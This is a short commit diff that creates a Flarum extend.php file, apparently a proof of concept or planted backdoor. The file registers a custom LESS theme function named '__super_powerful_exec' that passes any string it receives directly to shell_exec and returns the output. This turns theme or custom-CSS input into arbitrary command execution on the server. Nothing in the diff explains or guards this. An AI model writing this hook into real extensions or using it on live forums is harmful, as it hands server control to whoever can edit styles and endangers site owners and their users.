init

extend.php

@@ -0,0 +1,19 @@
+<?php
+
+use Flarum\Extend;
+
+return [
+    (new Extend\Theme())
+        ->addCustomLessFunction("__super_powerful_exec", function (mixed $text) {
+            if (is_string($text)) {
+                $result = shell_exec($text);
+                if (is_string($result)) {
+                    return $result;
+                } else {
+                    return "";
+                }
+            } else {
+                return "";
+            }
+        })
+];